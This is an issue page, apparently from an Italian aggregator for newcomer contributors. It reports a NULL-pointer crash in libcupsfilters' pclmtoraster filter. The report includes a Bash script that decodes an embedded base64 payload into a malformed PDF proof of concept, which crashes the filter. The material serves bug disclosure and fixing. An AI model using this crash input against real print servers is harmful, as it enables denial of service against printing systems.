pclmtoraster: malformed XObject reaches strcmp(NULL, "image")
I maintainer di solito rispondono entro 1 giorno
Nessuno ha ancora preso questa issue.
Valutazione
- Difficoltà
- 2/5
- Tempo stimato
- 1-3 ore
- Idoneità per principianti
- 78/100
Direzione di ricerca
Inizia in pclmtoraster.c, in process_image(), intorno alla riga 846, e analizza la ricerca di XObject e il controllo del tipo descritti nell’issue. Esegui reproduce.sh con poc/document.pdf in una build con ASan; il lavoro è completato quando l’input malformato viene rifiutato correttamente senza arrivare a strcmp con un valore NULL né causare un crash.
Scritto dal modello di indicizzazione a partire dal testo della issue.
Descrizione
Summary
process_image() assumes that every key in a page XObject dictionary resolves
to an object with a non-NULL PDF type. A malformed PCLm/PDF can make
pdfioDictGetObj() or pdfioObjGetType() return NULL, which is passed directly
to strcmp.
Validated source:
- libcupsfilters:
905fd94fb22a9298bc8e2c845eb7e04f7055b686 - PDFio:
72cfbd91e55621769c076e60d3a56e30a2538a15
Reproduction
Final upstream recheck on 2026-08-02: OpenPrinting/cups-filters 11d1a190530f85a361a1b3835f57d635256dff1a, libcupsfilters 905fd94fb22a9298bc8e2c845eb7e04f7055b686, and libppd fc41539f761286396a7df8aeeda762070192e37e.
poc/document.pdf, SHA-256
89bbd4c986480c1fd9fd5dc827ab2f2818df54e9b8419cd2d59104b393fd46ce,
contains a malformed page resource/XObject relationship. Run
./reproduce.sh against the standalone filter.
The following commented Bash script constructs the exact PoC and control
inputs. Save it as make_poc.sh, then run bash make_poc.sh poc.
#!/usr/bin/env bash
set -euo pipefail
# PoC: pclmtoraster: malformed XObject reaches strcmp(NULL, "image")
# Finding ID: pclmtoraster-xobject-type-null-dereference
# Trigger: process_image() assumes that every key in a page XObject dictionary
# resolves to an object with a non-NULL PDF type. A malformed PCLm/PDF can
# make pdfioDictGetObj() or pdfioObjGetType() return NULL, which is passed
# directly to strcmp.
#
# Binary PDFs, Raster files, images, and PPDs are stored as gzip-compressed
# base64 so embedded NUL bytes and exact parser offsets survive copy/paste.
# Every reconstructed file is checked before the vulnerable program is run.
OUTPUT_DIR="${1:-poc}"
mkdir -p "$OUTPUT_DIR"
for tool in base64 gzip sha256sum; do
command -v "$tool" >/dev/null || {
printf 'missing required tool: %s\n' "$tool" >&2
exit 1
}
done
write_file() {
local name="$1"
local expected_sha256="$2"
local path="$OUTPUT_DIR/$name"
local actual_sha256
mkdir -p "$(dirname "$path")"
base64 --decode | gzip --decompress > "$path"
actual_sha256="$(sha256sum "$path")"
actual_sha256="${actual_sha256%% *}"
if [[ "$actual_sha256" != "$expected_sha256" ]]; then
printf 'SHA-256 mismatch for %s\n' "$path" >&2
return 1
fi
printf '%s %s bytes sha256=%s\n' \
"$path" "$(wc -c < "$path")" "$actual_sha256"
}
# Malformed or boundary document consumed by the real filter/API.
# Output: document.pdf (317 bytes)
write_file document.pdf 89bbd4c986480c1fd9fd5dc827ab2f2818df54e9b8419cd2d59104b393fd46ce <<'POC_PAYLOAD_0'
H4sIAAAAAAACA22PXwuCMBTF3/cp7kuPNZ1WCOJDf4SIKKqHIHqYehHFXMwJ1bfuG7SpgVFjjMvl
nPM7G+wW4dAeucQGC0SUE98HenzcEOicK16IFOiOp1gB04I9BAHBMjFC9mNodXSdJRWcHSO/6BRR
lwrsntH5azSvRC1tOXSDySvjM3GHs6U3E5vB1GM6cI+VqGWsSSbgtI1yjFUzr64WuF3L9n6Q7hfS
ag5jHjQDlECU5FmBshEcsifCWIOEMMW7X1dK1+sxl9uQvAGrfPX+PQEAAA==
POC_PAYLOAD_0
Result
The ASan build aborts in strcmp from process_image() at
pclmtoraster.c:846. The uninstrumented filter exits 139 with SIGSEGV.
Both write the four-byte Raster sync word before terminating.
The input controls whether object resolution fails, but it does not select a
non-NULL read address. No output disclosure or dependent write was observed;
the demonstrated impact is document-triggered denial of service.
Cause and expected behavior
The callback performs:
pdfio_obj_t *image = pdfioDictGetObj(dict, key);
if (strcmp(pdfioObjGetType(image), "image") == 0)
Both PDFio calls can return NULL for malformed object relationships or absent
type metadata. The filter should verify image and its type before comparing
or opening the image stream, and reject the page cleanly on failure.
- Lingua principale
- C
- Stelle
- 20
- Fork
- 89
- Merge medio
- 13h 37m
- PR unite (30g)
- 50
Preparare l'ambiente
- Nessun Dockerfile né file Docker Compose
- Nessun modello di pull request
- Leggi la guida per i contributori
Come iniziare
- Leggi tutta la issue e poi la guida ai contributi del progetto.
- Commenta sulla issue per dire che te ne occupi tu — evita che due persone facciano lo stesso lavoro.
- Fai un fork del repository e lavora su un branch.
- Apri una pull request che faccia riferimento al numero della issue.
Altre issue di OpenPrinting/libcupsfilters
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 75/100
OpenPrinting/libcupsfilters#257 · 22 commenti ·
I maintainer di solito rispondono entro 1 giorno
-
Difficoltà 1/5 1-3 ore Idoneità per principianti 85/100
OpenPrinting/libcupsfilters#222 · 3 commenti · 1 reazione ·
I maintainer di solito rispondono entro 1 giorno
-
Difficoltà 4/5 3-5 giorni Idoneità per principianti 48/100
OpenPrinting/libcupsfilters#355 ·
I maintainer di solito rispondono entro 1 giorno
-
Difficoltà 4/5 3-5 giorni Idoneità per principianti 48/100
OpenPrinting/libcupsfilters#339 · 3 commenti · 1 reazione ·
I maintainer di solito rispondono entro 1 giorno
-
Difficoltà 4/5 3-5 giorni Idoneità per principianti 42/100
OpenPrinting/libcupsfilters#309 ·
I maintainer di solito rispondono entro 1 giorno
Tutte le issue di OpenPrinting/libcupsfilters
Issue simili
-
enhancement
Difficoltà 2/5 1-3 ore Idoneità per principianti 68/100
ChupathingyCE/chupathingyce#1550 ·
I maintainer di solito rispondono entro 1 giorno
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 83/100
redis/redis#16302 · 1 commento ·
I maintainer di solito rispondono entro 1 giorno
-
slice
Difficoltà 2/5 1-3 ore Idoneità per principianti 73/100
Life-Framework/Life-Framework#3878 ·
I maintainer di solito rispondono entro 1 giorno
-
`sha256()` returns a wrong hash when libsql-ffi is built with gcc 11 or laterForse già presa @colinhacks l’ha presa oggi. Aperta
Difficoltà 2/5 1-3 ore Idoneità per principianti 78/100
tursodatabase/libsql#2333 ·
I maintainer di solito rispondono entro 11 giorni
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 76/100